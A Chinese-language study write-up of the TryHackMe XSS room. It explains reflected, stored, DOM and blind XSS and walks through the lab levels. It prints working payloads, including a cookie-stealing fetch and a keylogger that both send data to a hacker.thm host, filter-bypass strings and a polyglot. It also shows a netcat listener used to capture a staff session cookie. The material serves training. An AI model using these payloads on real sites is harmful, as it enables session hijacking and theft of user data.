【THM】Cross-site Scripting(XSS跨站脚本漏洞)-学习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/xss
通过学习相关知识点:了解如何检测和利用XSS漏洞,该类漏洞能让攻击者控制其他访问者的浏览器。
简介
先决条件:由于 XSS 是基于 JavaScript 的,因此对js语言有基本的了解对学习XSS漏洞会很有帮助;本文相关的XSS示例并不复杂,对客户端-服务器请求和响应有基本的了解即可。
跨站脚本,在网络安全社区中更广为人知的名称是 XSS (Cross-site Scripting),该漏洞被归类为注入攻击,在XSS攻击中:恶意的 JavaScript代码 将被注入到 Web 应用程序中,并且该js代码意图被其他用户无意间执行。 在本文中,你将了解不同的 XSS 类型、如何创建 XSS 有效载荷、如何修改你的 XSS 有效载荷以绕过XSS过滤器等。
跨站脚本漏洞非常普遍,下面是一些在海量应用中发现的 XSS 漏洞报告;你可以因发现和报告XSS漏洞而获得报酬。
- XSS found in Shopify
- $7,500 for XSS found in Steam chat
- $2,500 for XSS in HackerOne
- XSS found in Infogram
答题
XSS Payloads
什么是 payload(有效载荷) ?
在 XSS 中,payload是我们希望在目标计算机上能够被执行的 JavaScript 代码。 payload有两部分,用于 实现意图的部分 和 需要自行修改的部分 。
payload的“意图”部分是你希望 JavaScript代码 实际执行的操作(我们将在下面的一些示例中进行介绍),而payload的“修改”部分是指我们需要对代码进行更改以使其能够成功执行,因为具体的payload在不同的执行场景下可能存在不同之处(在本文的倒数第二小节中会进行介绍)。
下面是关于 XSS payload的“意图”的一些示例:
Proof Of Concept(POC-概念验证):
这是最简单的XSS payload,你要做的是证明你可以在网站上实现 XSS。 这通常是通过在页面上弹出一个带有文本字符串的警告框来完成的,例如:
<script>alert('XSS');</script>
Session Stealing(会话窃取):
用户会话的详细信息(例如登录令牌-login token)通常保存在目标计算机上的 cookie 中。
下面的 JavaScript 能获取目标的 cookie,先通过 base64 编码 cookie 以确保其能成功传输,然后将其发布到黑客所控制的网站以进行记录。 一旦黑客拥有了这些 cookie值,他们就可以接管目标的会话并能以该用户的身份进行登录。
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
Key Logger(键盘记录器):
下面的js代码能充当键盘记录器。 这意味着你在网页上键入的任何内容都将被转发到黑客所控制的网站。 如果将该类型的XSS payload放置在目标网站上用于接收用户登录名或信用卡详细信息的代码处,这可能会非常有害。
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>
Business Logic(业务逻辑):
这个XSS payload比上面的例子要具体得多,此处会调用特定的网络资源或 JavaScript 函数。 例如,假设存在一个名为 user.changeEmail()
的用于更改用户电子邮件地址的 JavaScript 函数,对应的XSS payload可能如下所示:
<script>user.changeEmail('attacker@hacker.thm');</script>
如果帐户所对应的电子邮件地址已成功更改,那么攻击者就可以接着尝试执行针对目标用户的重置密码攻击。
接下来的四个小节将涵盖不同类型的 XSS 漏洞,这些 XSS 漏洞的实现都需要我们编写略有不同的XSS payload(经过精心构造的js代码)并且都需要让payload和用户发生交互。
答题
反射型XSS
当用户在 HTTP 请求中提供的数据未经任何验证就能被包含在网页源代码中时,就会发生反射型 XSS。
示例场景:
假设现在有一个示例网站,如果你在URL中输入的内容不够准确,则会显示一条错误消息。 错误消息的内容将取自查询字符串中的错误(error)参数,并会直接构建到该页面的源代码中。
如果该web应用程序不检查错误(error)参数的内容,这将允许攻击者在URL中插入一些恶意代码,从而使攻击者能够构建一个恶意的XSS链接:
该漏洞可以按照下图中的场景进行复现:
潜在影响:
攻击者可以向潜在受害者发送XSS链接,然后让受害者在浏览器上执行相关的XSS payload代码,从而获取到用户会话信息或用户的其他信息(作为测试使用时,XSS payload在执行后 往往产生弹窗、页面重定向、页面嵌套等效果)。
如何测试反射型 XSS:
你需要测试每个可能的XSS漏洞入口点,包括:
- URL 查询字符串中的参数(Parameters )
- URL 文件路径
- HTTP 标头(尽管在实践中不太可能存在XSS漏洞利用)
一旦你发现了能够反映在 Web 应用程序中的一些数据,你就需要确认你可以成功运行你的 JavaScript Payload;你所构造的Payload将取决于你的代码在web应用程序中的位置。
答题
存储型XSS
顾名思义,存储型XSS的payload能够存储在 Web 应用程序中(例如,将XSS payload存储在数据库中),然后在其他用户访问站点或网页时就能自动运行相关的XSS payload。
示例场景:
假设存在一个允许用户发表评论的博客网站,而且评论在发表时不会被检查是否包含 JavaScript代码 或者被过滤掉恶意代码;如果我们在此博客网站上发布包含 JavaScript代码 的评论,那么这些代码将会被存储到 该博客网站所对应的web服务器的后端数据库中。当其他用户访问 包含恶意代码的评论 所对应的博客文章时,用户所使用的浏览器就会自动运行我们之前所嵌入的JavaScript代码。
潜在影响:
存储型 XSS 中的恶意 JavaScript 代码可以将用户重定向到另一个站点、窃取用户的会话 cookie,或者在充当访问用户的同时在目标网站上执行一些其他操作。
如何测试存储型 XSS:
你需要测试 在某个网站上能够存储数据的每个可能的入口点,并且这些被存储的数据能够显示在其他用户可以访问的区域,比如:
- 用户发出的对博客文章的评论
- 用户的资料信息
- 网站的列表信息
有时候开发人员会认为在客户端限制用户输入值已经是足够好的保护措施,因此尝试将用户输入值更改为 Web 应用程序所不期望的内容是发现存储型 XSS 漏洞的一个很好的方法,例如,一个表单中的年龄(age )字段通常会期望你提供下拉菜单中的一个整数值,但是,你可以尝试手动发送请求(而不是使用表单来发送请求),这可能将允许你嵌入一些恶意的XSS payload。
当你找到存储在 Web 应用程序中的一些数据后,你需要再次确认你是否可以成功运行 JavaScript payload,你使用的XSS payload的内容将取决于你的代码在web应用程序中的具体位置。
答题
基于DOM的 XSS
什么是 DOM?
DOM 代表文档对象模型(Document Object Model),是 HTML 和 XML 文档的应用程序编程接口(API-application programming interface),它代表的是一个页面,以便程序可以更改文档结构、样式和内容。
所以网页就是一个文档,这个文档可以显示在浏览器窗口中,也可以作为 HTML 源。下面是一个关于 HTML DOM 的图表:
如果你想了解有关 DOM 的更多信息,可以访问 w3.org相关页面 。
对DOM的利用
基于 DOM 的 XSS 能够让 JavaScript恶意代码 直接在浏览器中执行,而无需加载任何新页面或将数据提交给后端代码。当网站上的 JavaScript恶意代码 作用于输入或与用户发生交互时,该代码就会被执行。
示例场景:
假设目标网站上的 JavaScript 能从 window.location.hash
参数中获取内容,然后将其写入当前正在被查看的网页页面中;如果该目标站点不会检查哈希值的内容是否存在恶意js代码,那么这将允许攻击者将他们自己所选择的 JavaScript代码 注入到当前正在被查看的网页中。
潜在影响:
攻击者可以将精心制作的基于DOM的 XSS链接发送给潜在的受害者,然后将受害者访问的页面重定向到另一个网站或者从用户所访问的当前页面、用户当前的会话中窃取内容。
如何测试基于DOM的 XSS:
对 基于 DOM 的 XSS 进行测试可能具有挑战性,并且需要一定的 JavaScript 知识才能阅读相关源代码。 你需要查找攻击者可以控制的并且能够访问某些变量的代码部分,例如“window.location.x
”参数。
找到这些代码后,你需要查看它们是如何处理变量的,以及这些值是否曾被写入网页的DOM中 或者 能够被传递给不安全的 JavaScript 方法--例如 eval()
方法。
答题
Blind(盲注)XSS
盲注类型的 XSS 类似于存储型 XSS,因为在此种类型的XSS攻击中 XSS payload 也会被存储在目标网站上以供其他用户执行,但是在这种XSS攻击中,你看不到相关的XSS payload是如何工作的或者你无法自行测试该XSS payload。
示例场景:
假设目标网站有一个联系表单,你可以通过该表单向网站相关工作人员发送消息。如果目标站点不检查邮件内容是否有任何恶意代码,这将使得攻击者可以在邮件中输入他们想要的任何内容;然后,这些邮件消息会变成目标站点的业务工单,员工可以在私人门户(入口页)网站上查看这些工单,从而触发XSS攻击。
潜在影响:
当攻击者使用了正确的XSS payload时,相关代码就可以回调攻击者所拥有的网站,从而显示目标站点的员工门户(入口页) URL、员工的 cookie,甚至员工正在查看的门户(入口页)内容;然后攻击者就可以尝试劫持员工的会话并访问一些私有门户(入口页)。
如何测试Blind(盲注)型 XSS:
在测试 Blind XSS 漏洞时,你需要确保你的 XSS payload 有回调(通常是一个HTTP请求);这样,你就能知道你的代码是否被执行以及何时被执行。
一种流行的Blind XSS 攻击工具是 xsshunter。 虽然你可以用 JavaScript代码 制作你自己的工具,但是通过使用xsshunter工具(该工具页面处于关闭注册状态)会自动帮助你捕获 cookie、URL、页面内容等。
答题
完善你的XSS payload(实验)
XSS有效载荷(payload)是我们要让其他用户在他们的浏览器上执行的 JavaScript 代码,或者也可以作为概念证明(POC)来演示一些网站中的XSS漏洞。
你的有效载荷可能有多种用途,可以只是调出一个 JavaScript 警告框以证明我们能在目标网站上执行 JavaScript代码,也可以从网页或用户会话中提取一些敏感信息。
你的 JavaScript 有效载荷如何反映在目标网站的代码内容中 将决定你具体需要使用怎样的有效载荷。为了很好的理解这一点,我们需要启动TryHackMe实验房间在本小节中所提供的目标机器,然后访问目标站点( https://lab_web_url.p.thmlabs.com/ ),尝试完成相关的实验操作。
每个XSS关卡级别的目标都是使用字符串 THM 来执行 JavaScript 警告框功能,例如:
<script>alert('THM');</script>
Level One:
在此XSS关卡,你会看到一个表格,要求你输入姓名,一旦你输入了你的姓名并且点击了Enter按钮,姓名内容将显示在输入框的下面一行,例如:
如果你查看当前页面的源代码,你会看到你输入的姓名信息能被反映在代码中:
接下来,我们将尝试输入以下 JavaScript 有效载荷,而不是输入姓名信息:<script>alert('THM');</script>
现在,当你点击Enter按钮时,你将看到一个带有字符串 THM 的警告框被弹出,相关的页面源代码如下所示:
然后,你将收到一条确认消息,这表明你的payload已成功执行,这条确认消息中还会带有指向下一XSS关卡的链接。
Level Two:
与上一关卡一样,系统会再次要求你在输入框输入姓名信息。 这次当你点击回车按钮时,你会发现姓名信息被反映在一个输入(input)标签中:
查看相关的页面源代码,你可以看到你输入的姓名信息反映在 input 标签的 value 属性中:
如果你在此处尝试上一关卡中的 JavaScript 有效载荷,你会发现它将无法工作,因为你无法从输入(input)标签内部直接运行之前的有效载荷。在此处,我们需要先对输入(input)标签进行闭合处理,这样才能正常运行相关的payload;你可以使用以下有效载荷执行此操作:
"><script>alert('THM');</script>
这个有效载荷的重要部分是">
,它会关闭 value 参数,然后接着关闭输入(input)标签。
现在我们已经正确关闭了 input 标签并能使我们构造的 JavaScript 有效载荷得到运行,payload执行结果将反映在相关页面的源代码中:
当你单击回车按钮时,你将看到一个带有字符串 THM 的警告框被弹出。 然后,你将收到一条确认消息,表明你的payload已成功执行,该消息还将带有指向下一XSS关卡的链接。
Level Three:
在此关卡你会看到另一个询问你姓名的表单,与上一级关卡相同,你的姓名信息会反映在页面源码的 HTML 标签中,在此处是 textarea 标签。
我们必须使用以下payload对 textarea 标签进行闭合,这与之前闭合 input 标签(在关卡二中)略有不同:
</textarea><script>alert('THM');</script>
上述有效载荷的重要部分是</textarea>
,这会导致 textarea 元素关闭,以便payload有效部分得以运行。
当你单击回车按钮时,你将看到一个带有字符串 THM 的警告框被弹出;然后,你将收到一条确认消息,表明你的payload已成功执行,该消息还将带有指向下一XSS关卡的链接。
Level Four:
和之前关卡一样,当你在表单中输入姓名之后,你会在页面源码中看到它。 这一关看起来与第一关相似,但在检查页面源代码之后,你会看到你输入的姓名信息将反映在以下 JavaScript 代码中:
你必须闭合现有的一些 JavaScript 代码段,以便能够运行你的payload有效部分代码;你可以使用以下有效载荷 ';alert('THM');//
,从下面的页面源代码截图中可以看到该payload代码的注入情况。
其中 '
用于关闭指定name的字段,然后 ;
可用于表示代码段的结束,末尾的 //
能够使它后面所接的任何内容都成为注释而非可执行代码部分。
当你单击回车按钮时,你将看到一个带有字符串 THM 的警告框被弹出;然后,你将收到一条确认消息,表明你的payload已成功执行,该消息还将带有指向下一XSS关卡的链接。
Level Five:
该关卡看起来和第一关一样,但是,当你使用 <script>alert('THM');</script>
作为有效载荷时,你会发现此payload并不会起作用。你可以查看相关页面源代码,以明白payload失效原因:
从上图中,你会发现script
这个词会从有效载荷中删除,这是因为目标页面存在一个过滤器可以去除任何潜在的危险词。
当目标页面会从你输入的字符串中删除危险词时,你可以尝试一个有用的技巧来绕过该过滤器:
尝试输入有效载荷 <sscriptcript>alert('THM');</sscriptcript>
,然后单击回车按钮,你将看到一个带有字符串THM的警告框被弹出;然后,你将收到一条确认消息,表明你的payload已成功执行,该消息还将带有指向下一XSS关卡的链接。
Level Six:
该关卡看起来和第二关类似,我们需要闭合标签以及该标签中的属性值,我们尝试使用有效载荷 "><script>alert('THM');</script>
,但这似乎不起作用,我们可以查看一下相关页面的源代码以便了解上述payload失效原因:
你可以看到 <
和 >
字符会从我们的payload中被过滤,从而阻止了我们闭合 IMG 标签。 为了绕过该过滤器,我们可以利用 IMG 标签的附加属性,例如 onload 事件;一旦 src 属性中指定的图像被加载到当前网页上,onload 事件就会执行你指定的payload代码。
使用以下有效载荷 /images/cat.jpg" onload="alert('THM');
,然后查看对应的页面源代码,你将看到此payload如何开始工作。
现在,当你单击回车按钮时,你将看到一个带有字符串 THM 的警告框被弹出;然后,你会收到一条确认消息,表明你的payload已成功执行。完成此关卡你将获取到一个最终的flag。
Polyglots(多语言):
XSS polyglot 是一串文本,可以将闭合属性、闭合标签和绕过过滤器合而为一。 你可以在刚刚完成的六个关卡中使用以下多语言payload,并且都会得到成功执行。
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
答题
启动目标机器,访问目标站点: https://10-10-33-53.p.thmlabs.com/
关卡1:注入payload <script>alert('THM');</script>
关卡2:注入payload "><script>alert('THM');</script>
关卡3:注入payload </textarea><script>alert('THM');</script>
关卡4:注入payload ';alert('THM');//
关卡5:注入payload <sscriptcript>alert('THM');</sscriptcript>
关卡6:注入payload /images/cat.jpg" onload="alert('THM');
THM
练习(Blind XSS)
本文最后一个任务,我们将尝试发现一个 Blind XSS 漏洞。在本知识点对应的TryHackMe实验房间中:确保你终止了上一小节的目标机器,然后单击本小节右侧的绿色“启动机器”按钮以加载 Acme IT Support 网站(目标站点)。
你需要使用该TryHackMe实验房间页面顶部的蓝色按钮来加载 AttackBox,成功加载后,在 AttackBox 的 Firefox 浏览器中打开下面的链接(需等待链接刷新)以查看目标网站:https://lab_web_url.p.thmlabs.com/
单击目标站点顶部导航栏上的“客户”选项卡,然后单击“在此处注册”链接以创建一个新帐户;一旦你的帐户设置完毕,请单击“Support Tickets”选项卡,这是我们将要检测的可能存在XSS漏洞的功能点。
尝试通过单击绿色的“创建ticket”按钮来创建Support ticket,输入主题和内容,你可以仅输入“test”一词,然后单击蓝色的“创建ticket”按钮,然后你就会在列表中注意到你有一个带有 ID 号的新ticket,你可以单击它以查看该ticket的具体信息。
与研究第三小节的反射型XSS一样,我们会在此处研究先前输入的文本将如何反映在页面源码中。查看页面源代码后,我们可以看到先前我们输入的文本会被放置在 textarea
标签内。
现在让我们返回并创建另一张工单,让我们看看是否可以通过在 ticket 的内容中输入以下有效载荷来闭合textarea
标签: </textarea>test
同样,此时再打开ticket信息并查看页面源代码,可以看到我们已经成功闭合了 textarea
标签。
现在让我们扩展上述payload,看看我们是否可以运行恶意JavaScript代码并确认ticket创建功能是否存在XSS漏洞,使用以下payload尝试创建另一张新的ticket :
</textarea><script>alert('THM');</script>
此时当你查看ticket内容时,你应该会看到一个带有字符串 THM 的警告框;我们接下来将进一步扩展有效载荷并增加XSS漏洞影响力。 由于刚才检测的功能点可以创建support ticket,所以我们有理由相信,网站的工作人员也会查看我们所创建的可以执行 JavaScript payload 的 ticket。
从用户(网站工作人员)那里提取的一些有用信息可以是用户(网站工作人员)的 cookie值,我们可以使用XSS来劫持用户(网站工作人员)的登录会话以提升我们的访问特权。 为此,我们的有效载荷需要提取用户(网站工作人员)的 cookie信息 并将其泄露到我们所选择的另一个web服务器中,所以我们需要在攻击机上设置一个监听服务来接收信息。
在TryHackMe AttackBox上,通过使用Netcat 设置一个监听服务器:
user@machine$ nc -nlvp 9001
现在我们已经设置了接收泄露信息的方法,我们可以开始构建有效载荷:
</textarea><script>fetch('http://{URL_OR_IP}?cookie=' + btoa(document.cookie) );</script>
让我们分解上述有效载荷:
</textarea>
标签用于闭合页面源码中的 textarea 标签;<script>
标签为我们打开了一个可以编写 JavaScript 的区域;fetch()
命令用于发出 HTTP 请求;{URL_OR_IP}
是 THM 请求捕获器的URL或者指向THM AttackBox的IP地址或者你在使用本地攻击机时所对应的THM VPN网络中的IP地址;?cookie=
是包含受害者(网站工作人员) cookie 的查询字符串;btoa()
命令表示对受害者(网站工作人员)的 cookie信息 进行base64编码;document.cookie
用于获取 Acme IT Support网站相关受害者(网站工作人员)的 cookie值;</script>
用于关闭 JavaScript 代码块。
使用上面的有效载荷在目标站点上创建一个ticket,将 {URL_OR_IP}
变量改为攻击机对应设置(确保payload中的端口号为 Netcat 侦听器所指定的端口号),然后等待一分钟,你将看到包含受害者(网站工作人员)cookie信息的http请求。
注意:当你使用自己的 VM 时,你可能会遇到通过 VPN 接收http请求的问题,所以建议使用TryHackMe AttackBox 来完成此任务。
你可以使用 https://www.base64decode.org/ 等网站对编码信息进行 base64 解码。
答题
启动目标机器,访问目标站点: https://10-10-138-209.p.thmlabs.com/
单击目标站点顶部导航栏上的“客户”选项卡,然后单击“在此处注册”链接以创建一个新帐户;一旦你的帐户设置完毕,请单击“Support Tickets”选项卡,这是我们将要检测的可能存在XSS漏洞的功能点。
尝试通过单击绿色的“创建ticket”按钮来创建Support ticket,输入主题和内容,你可以仅输入“test”一词,然后单击蓝色的“创建ticket”按钮,然后你就会在列表中注意到你有一个带有 ID 号的新ticket,你可以单击它以查看该ticket的具体信息。
与研究第三小节的反射型XSS一样,我们会在此处研究先前输入的文本将如何反映在页面源码中。查看页面源代码后,我们可以看到先前我们输入的文本会被放置在 textarea
标签内。
现在让我们返回并创建另一张工单,让我们看看是否可以通过在 ticket 的内容中输入以下有效载荷来闭合textarea
标签: </textarea>test
同样,此时再打开ticket信息并查看页面源代码,可以看到我们已经成功闭合了 textarea
标签。
在攻击机(建议使用TryHackMe所提供的AttackBox)上设置一个Netcat监听服务器:
nc -nlvp 9001
扩展payload(修改ip为攻击机对应ip):
</textarea><script>fetch('http://10.10.165.49:9001?cookie=' + btoa(document.cookie));</script>
使用上面的有效载荷在目标站点上创建一个ticket,然后等待一分钟,你将看到包含受害者(网站工作人员)cookie信息的http请求。
自动获取到的cookie值为:c3RhZmYtc2Vzc2lvbj00QUIzMDVFNTU5NTUxOTc2OTNGMDFENkY4RkQyRDMyMQ==
使用 https://www.base64decode.org/ 网站对编码信息进行 base64 解码。
staff-session=4AB305E55955197693F01D6F8FD2D321